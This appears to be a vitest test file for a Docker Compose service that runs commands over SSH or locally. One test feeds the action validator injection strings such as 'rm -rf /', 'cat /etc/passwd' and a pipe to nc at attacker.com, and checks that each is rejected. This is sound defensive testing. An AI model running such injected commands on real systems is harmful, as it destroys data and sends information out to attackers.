import { beforeEach, describe, expect, it, vi } from "vitest";
import type { ComposeServiceInfo, HostConfig } from "../types.js";
import { ComposeService, determineProjectStatus, parseComposeServices } from "./compose.js";
import type { IComposePathResolver, ILocalExecutorService, ISSHService } from "./interfaces.js";
describe("ComposeService", () => {
let ssh: ISSHService;
let localExecutor: ILocalExecutorService;
let service: ComposeService;
beforeEach(() => {
ssh = {
executeSSHCommand: vi.fn().mockResolvedValue(""),
getHostResources: vi.fn().mockResolvedValue({}) as never,
};
localExecutor = {
executeLocalCommand: vi.fn().mockResolvedValue(""),
};
service = new ComposeService(ssh, localExecutor);
});
describe("action validation", () => {
const host: HostConfig = { name: "test", host: "remote.example.com", protocol: "ssh" };
it("allows valid compose actions", async () => {
const validActions = [
"up",
"down",
"ps",
"logs",
"build",
"pull",
"restart",
"stop",
"start",
];
for (const action of validActions) {
await expect(service.composeExec(host, "proj", action)).resolves.toBeDefined();
}
});
it("rejects action with shell metacharacters", async () => {
const maliciousActions = [
"up; rm -rf /",
"up && cat /etc/passwd",
"up | nc attacker.com 1234",
"up $(curl evil.com)",
"up `whoami`",
];
for (const action of maliciousActions) {
await expect(service.composeExec(host, "proj", action)).rejects.toThrow(/invalid.*action/i);
}
});
it("rejects unknown compose actions", async () => {
await expect(service.composeExec(host, "proj", "invalidaction123")).rejects.toThrow(
/invalid.*action/i
);
});
});
it("executes compose commands via SSH service", async () => {
const host: HostConfig = { name: "test", host: "remote.example.com", protocol: "ssh" };
await service.composeExec(host, "proj", "ps");
expect(ssh.executeSSHCommand).toHaveBeenCalled();
});
describe("path resolver integration", () => {
it("should use path resolver to resolve compose file path", async () => {
const host: HostConfig = { name: "test", host: "localhost", protocol: "ssh" };
const mockResolver: IComposePathResolver = {
resolveProjectPath: vi.fn().mockResolvedValue("/compose/myproject/compose.yaml"),
};
const serviceWithResolver = new ComposeService(ssh, localExecutor, mockResolver);
await serviceWithResolver.composeExec(host, "myproject", "ps");
// Should call resolver to resolve path
expect(mockResolver.resolveProjectPath).toHaveBeenCalledWith(host, "myproject");
// Should execute with -f flag pointing to discovered path
expect(localExecutor.executeLocalCommand).toHaveBeenCalledWith(
"docker",
expect.arrayContaining(["-f", "/compose/myproject/compose.yaml"]),
expect.anything()
);
});
it("should fall back gracefully when path resolver fails", async () => {
const host: HostConfig = { name: "test", host: "localhost", protocol: "ssh" };
const mockResolver: IComposePathResolver = {
resolveProjectPath: vi.fn().mockRejectedValue(new Error("Project not found")),
};
const serviceWithResolver = new ComposeService(ssh, localExecutor, mockResolver);
// Should not throw - should fall back to executing without -f flag
await expect(serviceWithResolver.composeExec(host, "myproject", "ps")).resolves.toBeDefined();
// Should still attempt to execute compose command (without -f flag)
expect(localExecutor.executeLocalCommand).toHaveBeenCalledWith(
"docker",
expect.not.arrayContaining(["-f"]),
expect.anything()
);
});
it("should work without path resolver (optional constructor parameter)", async () => {
const host: HostConfig = { name: "test", host: "localhost", protocol: "ssh" };
// Create without resolver - should still execute compose commands
const svc = new ComposeService(ssh, localExecutor);
await svc.composeExec(host, "proj", "ps");
// Should execute without -f flag (no path resolver)
expect(localExecutor.executeLocalCommand).toHaveBeenCalledWith(
"docker",
expect.not.arrayContaining(["-f"]),
expect.anything()
);
});
});
describe("parseComposeServices", () => {
it("parses empty stdout", () => {
const result = parseComposeServices("");
expect(result).toEqual([]);
});
it("parses single service JSON", () => {
const stdout = JSON.stringify({
Name: "myproject-web-1",
State: "running",
Health: "healthy",
Publishers: [{ PublishedPort: 8080, TargetPort: 80, Protocol: "tcp" }],
});
const result = parseComposeServices(stdout);
expect(result).toEqual([
{
name: "myproject-web-1",
status: "running",
health: "healthy",
publishers: [{ publishedPort: 8080, targetPort: 80, protocol: "tcp" }],
},
]);
});
it("parses multiple service JSONs (one per line)", () => {
const line1 = JSON.stringify({
Name: "myproject-web-1",
State: "running",
});
const line2 = JSON.stringify({
Name: "myproject-db-1",
State: "exited",
ExitCode: 0,
});
const stdout = `${line1}\n${line2}`;
const result = parseComposeServices(stdout);
expect(result).toHaveLength(2);
expect(result[0].name).toBe("myproject-web-1");
expect(result[0].status).toBe("running");
expect(result[1].name).toBe("myproject-db-1");
expect(result[1].status).toBe("exited");
expect(result[1].exitCode).toBe(0);
});
it("handles optional fields", () => {
const stdout = JSON.stringify({
Name: "myproject-api-1",
State: "running",
});
const result = parseComposeServices(stdout);
expect(result).toEqual([
{
name: "myproject-api-1",
status: "running",
health: undefined,
exitCode: undefined,
publishers: undefined,
},
]);
});
it("skips invalid JSON lines gracefully", () => {
const line1 = JSON.stringify({ Name: "valid-1", State: "running" });
const line2 = "not valid json";
const line3 = JSON.stringify({ Name: "valid-2", State: "stopped" });
const stdout = `${line1}\n${line2}\n${line3}`;
const result = parseComposeServices(stdout);
expect(result).toHaveLength(2);
expect(result[0].name).toBe("valid-1");
expect(result[1].name).toBe("valid-2");
});
it("skips empty lines", () => {
const line1 = JSON.stringify({ Name: "svc-1", State: "running" });
const stdout = `${line1}\n\n\n`;
const result = parseComposeServices(stdout);
expect(result).toHaveLength(1);
});
});
describe("determineProjectStatus", () => {
it("returns 'stopped' when no services", () => {
expect(determineProjectStatus([])).toBe("stopped");
});
it("returns 'running' when all services running", () => {
const services: ComposeServiceInfo[] = [
{ name: "web", status: "running" },
{ name: "db", status: "running" },
];
expect(determineProjectStatus(services)).toBe("running");
});
it("returns 'stopped' when all services stopped", () => {
const services: ComposeServiceInfo[] = [
{ name: "web", status: "exited" },
{ name: "db", status: "stopped" },
];
expect(determineProjectStatus(services)).toBe("stopped");
});
it("returns 'partial' when some services running", () => {
const services: ComposeServiceInfo[] = [
{ name: "web", status: "running" },
{ name: "db", status: "exited" },
];
expect(determineProjectStatus(services)).toBe("partial");
});
it("returns 'partial' when at least one running", () => {
const services: ComposeServiceInfo[] = [
{ name: "web", status: "running" },
{ name: "db", status: "stopped" },
{ name: "cache", status: "exited" },
];
expect(determineProjectStatus(services)).toBe("partial");
});
it("handles single service", () => {
expect(determineProjectStatus([{ name: "web", status: "running" }])).toBe("running");
expect(determineProjectStatus([{ name: "web", status: "exited" }])).toBe("stopped");
});
});
});